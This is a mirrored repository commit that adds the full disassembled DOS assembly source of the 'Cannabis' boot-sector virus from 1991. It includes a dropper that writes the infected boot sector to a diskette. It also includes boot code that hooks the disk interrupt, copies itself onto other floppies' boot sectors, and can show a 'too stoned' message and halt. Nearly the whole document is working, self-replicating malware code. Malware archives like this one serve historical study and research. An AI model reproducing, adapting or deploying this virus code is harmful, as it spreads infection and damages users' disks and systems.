mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,231 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ CANNAB1 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 4-Oct-91 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_3e equ 43Fh
|
||||
data_8e equ 5Ch
|
||||
data_17e equ 46Ch ;*
|
||||
data_18e equ 7C00h ;*
|
||||
data_19e equ 7C0Bh ;*
|
||||
data_20e equ 7D31h ;*
|
||||
data_21e equ 7D35h ;*
|
||||
data_22e equ 7D73h ;*
|
||||
data_23e equ 7E00h ;*
|
||||
data_24e equ 7E0Bh ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
cannab1 proc far
|
||||
|
||||
start:
|
||||
mov dx,13Dh
|
||||
dec byte ptr ds:data_8e
|
||||
js loc_2 ; Jump if sign=1
|
||||
mov dx,155h
|
||||
call sub_1
|
||||
xor ah,ah ; Zero register
|
||||
int 16h ; Keyboard i/o ah=function 00h
|
||||
; get keybd char in al, ah=scan
|
||||
and al,0DFh
|
||||
cmp al,59h ; 'Y'
|
||||
jne loc_ret_3 ; Jump if not equal
|
||||
mov dl,0
|
||||
mov ah,0
|
||||
int 13h ; Disk dl=drive a ah=func 00h
|
||||
; reset disk, al=return status
|
||||
jc loc_1 ; Jump if carry Set
|
||||
mov dx,1E6h
|
||||
call sub_1
|
||||
mov cx,1
|
||||
mov bx,offset data_12
|
||||
mov ax,301h
|
||||
cwd ; Word to double word
|
||||
int 13h ; Disk dl=drive a ah=func 03h
|
||||
; write sectors from mem es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jnc loc_ret_3 ; Jump if carry=0
|
||||
loc_1:
|
||||
mov dx,offset data_9+0B7h ; ('')
|
||||
|
||||
cannab1 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
loc_2:
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
|
||||
loc_ret_3:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
data_9 db 'Usage: <FILENAME> A:', 0Dh, 0Ah
|
||||
db '$'
|
||||
db 'You are about to install a VIRUS'
|
||||
db ' on your diskette!!!', 0Dh, 0Ah, 'I'
|
||||
db 'nsert a formatted 360K diskette '
|
||||
db 'into the drive.', 0Dh, 0Ah, 'Are'
|
||||
db ' you sure you want to proceed (y'
|
||||
db '/N)? $'
|
||||
db 0Dh, 0Ah, 0Ah, 'Writing...$'
|
||||
db 0Dh, 0Ah, 'Error !!!'
|
||||
db 07h, 24h
|
||||
data_12 db 0EBh
|
||||
db 3Ch, 90h
|
||||
db 'Cannabis'
|
||||
db 0
|
||||
db 02h, 02h, 01h, 00h, 02h, 70h
|
||||
db 00h,0D0h, 02h,0FDh, 02h, 00h
|
||||
db 09h, 00h, 02h, 00h
|
||||
db 34 dup (0)
|
||||
db 0FAh, 33h,0C0h, 8Eh,0D8h, 8Eh
|
||||
db 0D0h,0BCh, 00h, 7Ch,0FBh,0BBh
|
||||
db 0B1h, 7Ch,0A1h, 4Ch, 00h, 3Bh
|
||||
db 0C3h, 74h, 34h,0A3h, 31h, 7Dh
|
||||
db 0A1h, 4Eh, 00h,0A3h, 33h, 7Dh
|
||||
db 1Eh,0B8h, 10h, 00h, 8Eh,0D8h
|
||||
db 0A1h, 13h, 03h, 48h, 48h,0A3h
|
||||
db 13h, 03h, 1Fh,0B1h, 06h,0D3h
|
||||
db 0E0h, 2Dh,0C0h, 07h, 8Eh,0C0h
|
||||
db 0B9h, 00h, 02h,0BEh, 00h, 7Ch
|
||||
db 8Bh,0FEh,0FCh,0F3h,0A4h, 89h
|
||||
db 1Eh, 4Ch, 00h, 8Ch, 06h, 4Eh
|
||||
db 00h
|
||||
db 0F6h, 06h, 6Ch, 04h, 07h, 75h
|
||||
db 08h
|
||||
db 0BEh, 35h, 7Dh,0E8h, 0Eh, 00h
|
||||
loc_6:
|
||||
jmp short loc_6
|
||||
loc_7:
|
||||
mov si,data_22e
|
||||
call sub_2
|
||||
xor ax,ax ; Zero register
|
||||
int 16h ; Keyboard i/o ah=function 00h
|
||||
; get keybd char in al, ah=scan
|
||||
int 19h ; Bootstrap loader
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
loc_8:
|
||||
lodsb ; String [si] to al
|
||||
or al,al ; Zero ?
|
||||
jz loc_ret_9 ; Jump if zero
|
||||
mov ah,0Eh
|
||||
mov bx,7
|
||||
int 10h ; Video display ah=functn 0Eh
|
||||
; write char al, teletype mode
|
||||
jmp short loc_8
|
||||
|
||||
loc_ret_9:
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
push ax
|
||||
push ds
|
||||
cmp ah,4
|
||||
jae loc_10 ; Jump if above or =
|
||||
cmp ah,2
|
||||
jb loc_10 ; Jump if below
|
||||
test dl,0FEh
|
||||
jnz loc_10 ; Jump if not zero
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
test byte ptr ds:data_3e,1
|
||||
jnz loc_10 ; Jump if not zero
|
||||
call sub_3
|
||||
loc_10:
|
||||
pop ds
|
||||
pop ax
|
||||
jmp dword ptr cs:data_20e
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
push cx
|
||||
push bx
|
||||
push di
|
||||
push si
|
||||
push es
|
||||
mov di,2
|
||||
loc_11:
|
||||
mov ah,2
|
||||
mov al,1
|
||||
mov bx,7E00h
|
||||
mov cx,1
|
||||
push cs
|
||||
pop es
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_20e
|
||||
jnc loc_12 ; Jump if carry=0
|
||||
xor ax,ax ; Zero register
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_20e
|
||||
dec di
|
||||
jnz loc_11 ; Jump if not zero
|
||||
jmp short loc_13
|
||||
db 90h
|
||||
loc_12:
|
||||
mov si,data_23e
|
||||
mov di,data_18e
|
||||
push cs
|
||||
pop ds
|
||||
cld ; Clear direction
|
||||
mov cx,0Bh
|
||||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||||
jz loc_13 ; Jump if zero
|
||||
mov si,data_24e
|
||||
mov di,data_19e
|
||||
mov cx,33h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ax,301h
|
||||
mov bx,7C00h
|
||||
mov cx,1
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_20e
|
||||
loc_13:
|
||||
pop es
|
||||
pop si
|
||||
pop di
|
||||
pop bx
|
||||
pop cx
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
db 0, 0, 0, 0
|
||||
db 0Dh, 0Ah, 'Hey man, I don', 27h, 't'
|
||||
db ' wanna work. I', 27h, 'm too sto'
|
||||
db 'ned right now...'
|
||||
db 7
|
||||
db 0Dh, 0Ah, 0
|
||||
db 0Dh, 0Ah, 'Non-System disk or dis'
|
||||
db 'k error', 0Dh, 0Ah, 'Replace and'
|
||||
db ' press a key when ready', 0Dh, 0Ah
|
||||
db 70 dup (0)
|
||||
db 55h,0AAh
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user